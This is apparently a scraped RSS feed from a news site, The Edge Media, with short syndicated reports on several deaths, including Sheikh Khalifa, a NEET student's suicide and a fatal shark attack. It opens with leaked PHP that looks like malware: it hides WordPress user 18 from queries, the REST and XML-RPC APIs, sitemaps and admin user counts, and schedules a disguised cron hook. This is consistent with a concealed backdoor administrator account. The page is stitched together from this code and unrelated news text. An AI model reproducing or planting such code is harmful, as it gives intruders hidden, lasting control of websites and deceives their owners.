add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Sheikh Khalifa bin Zayed, President of the United Arab Emirates, has died appeared first on The Edge Media.
]]>
Sheikh Khalifa has been the President of the United Arab Emirates and the ruler of Abu Dhabi since November 3, 2004. According to the Khaleej Times, the Ministry of Presidential Affairs has declared 40 days of mourning for the death of His Highness Sheikh Khalifa bin Zayed Al Nahyan, UAE President and Ruler of Abu Dhabi.
The post Sheikh Khalifa bin Zayed, President of the United Arab Emirates, has died appeared first on The Edge Media.
]]>The post The Supreme Court has approved an ex-gratia payment of Rs 50,000 to the families of those who died as a result of Covid-19 appeared first on The Edge Media.
]]>
The court ordered that the funds be disbursed within 30 days of the application’s submission. The court further stated that for compensation, Covid-19 cases would be those in which the victims tested positive in an outpatient clinic or inpatient hospital within 30 days of their death.
The post The Supreme Court has approved an ex-gratia payment of Rs 50,000 to the families of those who died as a result of Covid-19 appeared first on The Edge Media.
]]>The post A 19-year-old medical aspirant dies by suicide ahead of NEET entrance exam appeared first on The Edge Media.
]]>After much delay due to the second wave of COVID-19, and amid campaigns for a further postponement, the National Eligibility cum Entrance Test (NEET 2021) for admission to undergraduate medical courses in India will be conducted today in 202 test cities.
The medical aspirant, identified as Dhanush, was the son of farm labourer and was found dead hours before the NEET exam was to take place. He had failed to clear the last two attempts at NEET.
Soon after his death, Tamil Nadu Chief Minister MK Stalin appealed to students to not lose hope and assured that a bill against NEET will be brought out tomorrow.
He said the youngster’s death reinforces the need to bring back education to the state’s list.
“The Union government’s indifference and adamant attitude over NEET continues to be the reason for suicide by promising students,” Mr Stalin said.
Several politicians and students have protested against the go-ahead given to NEET exam this year, given the ongoing pandemic and pleas by many students to reschedule it as the NEET date clashed with other exams, including those for compartment exams for CBSE students.
However, the centre had said it does not have any plans to suspend NEET and other common entrance examinations.
“We will pass a bill against NEET and I am confident we would win the support of all chief ministers,” Mr Stalin added.
“I appeal to students to not take any drastic decisions,” the chief minister said.
The National Testing Agency (NTA), which conducts the exam, had recently received approval from the Supreme Court of India to conduct it as per schedule. The court rejected a plea filed by some students saying NEET was clashing with other exams.
Tamil Nadu had abolished NEET exams for nearly a decade, saying that it favours affluent as even brilliant poor students and those in rural areas are unable to afford private coaching. Over the last few years, 15 medical aspirants have died by suicide in the state.
NEET was introduced during the UPA regime when Dravida Munnetra Kazhagam (DMK) was part of it. Then Tamil Nadu Chief Minister Karunanidhi had managed to get presidential approval for exemption from NEET for the state. However, the All India Anna Dravida Munnetra Kazhagam (AIADMK) government could not get a similar exemption from its BJP ally when it came to power, even though the state assembly had passed a Bill against NEET.
The ruling DMK recently constituted a commission under retired justice AK Rajan to study the impact of NEET in medical admissions. Armed with the commission’s report, the state government is hopeful of getting an exemption once again. This was also a key poll promise made by the party.
The post A 19-year-old medical aspirant dies by suicide ahead of NEET entrance exam appeared first on The Edge Media.
]]>The post Saki Naka, who was raped and brutalised with an iron rod, died in Mumbai appeared first on The Edge Media.
]]>According to an official, the culprit, Mohan Chouhan (45), was caught few hours after the incident. He said the police control room received a call early Friday morning (September 10) about a man assaulting a woman on Khairani Road. A police crew arrived on the scene to discover a woman in a pool of blood. An officer claimed she was transferred to the Rajawadi hospital, which is managed by the city.
The post Saki Naka, who was raped and brutalised with an iron rod, died in Mumbai appeared first on The Edge Media.
]]>The post Yevgeny Zinichev dies while saving a documentary maker appeared first on The Edge Media.
]]>Yevgeny Zinichev, 55, who headed the high-profile emergencies ministry since 2018, was in the remote city of Norilsk to oversee large-scale drills in the region.
The ministry said in a statement he died while trying to save Alexander Melnik who had travelled to Norilsk to make a documentary about the Arctic and the Northern Sea Route.
It said Melnik had slipped on a wet rock and fallen.
“Yevgeny tried to grab Alexander and jumped after him, but unfortunately, they both died after falling from a high cliff into a mountainous river,” it said.
Margarita Simonyan, editor-in-chief of Russia’s RT television channel, commented separately on Twitter.
“There were a fair number of witnesses – no one even had time to think about what had happened when Zinichev threw himself into the water for the fallen person and crashed into a protruding rock,” she said.
The ministry had said in a statement earlier on Wednesday that Zinichev visited the construction site of a new fire station in Norilsk, as well as a search and rescue team in the region.
A biography carried by state-run media said Zinichev was born in St Petersburg and served in the state security services from 1987 to 2015 and was also involved in security for Putin.
He served as a bodyguard and personal aide to Putin, according to the RBC news site. Multiple photographs of Putin at public events dating over several years show Zinichev standing at Putin’s shoulder.
Zinichev later became deputy head of the Federal Security Service and served briefly as acting regional governor of Kaliningrad. The Kremlin said Putin had offered his condolences.
The post Yevgeny Zinichev dies while saving a documentary maker appeared first on The Edge Media.
]]>The post Man dies following a shark attack in Australia appeared first on The Edge Media.
]]>The man, believed to be in his 20s, was mauled by the shark at Emerald Beach near Coffs Harbour, about six hours north of Sydney, according to paramedics.
Emergency crews, including a helicopter medical team, rushed to the scene just before 11:00am local time on Sunday after receiving calls for help.
Chris Wilson, a New South Wales Ambulance inspector, said paramedics arrived to find local surfers and bystanders attempting to save the man, saying the group was “incredibly brave in a very challenging situation”.
“It was devastating for everybody on the beach this morning,” he said.
“The patient suffered a critical injury to his arm, but despite the best efforts of bystanders, paramedics and other emergency services, the patient couldn’t be revived.”
The Coffs Harbour Lifeguards service said the beach and surrounding waters were closed to swimmers and surfers due to the incident.
“Our sympathies go out to family and friends. Please don’t enter the water in the area,” a Facebook post said.
It was the second fatal shark attack recorded in Australian waters this year, according to the Taronga Conservation Society Australia.
There were 26 maulings in 2020, eight of them fatal, data from the government agency shows.
(This story has not been edited by The Edge Media staff and is auto-generated from a syndicated feed.)
The post Man dies following a shark attack in Australia appeared first on The Edge Media.
]]>The post A Farmer Who was Injured in a Police Lathicharge in Karnal Died of a Heart Attack appeared first on The Edge Media.
]]>Farmers were protesting against a BJP conference on the approaching panchayat elections, which was headed by Chief Minister Manohar Lal Khattar. In the afternoon, police detained many people after using force to remove a gathering obstructing the roadway in Karnal.
Farm union representatives condemned the police action and asked farmers across Haryana to demonstrate on the highways. Farmers had blocked many stretches of roadway and toll plazas around the state by the evening, causing traffic jams.
The post A Farmer Who was Injured in a Police Lathicharge in Karnal Died of a Heart Attack appeared first on The Edge Media.
]]>The post Assam declares 3-day state mourning to condole death of 5 cops, 1 civilian in border clash with Mizoram appeared first on The Edge Media.
]]>During this period, the national flag will fly at half-mast and there will be no public entertainment, the order issued by the General Administration Department said.
At least six persons were killed and 60 others, including an SP, injured in a bloody clash along the Assam-Mizoram border on Monday.
Union Home Minister Amit Shah has spoken to the chief ministers of Assam and Mizoram, Himanta Biswa Sarma and Zoramthanga respectively, and urged them to ensure peace along the disputed border and find an amicable settlement.
Sarma paid floral tributes to the five slain policemen at Silchar on Tuesday.
The post Assam declares 3-day state mourning to condole death of 5 cops, 1 civilian in border clash with Mizoram appeared first on The Edge Media.
]]>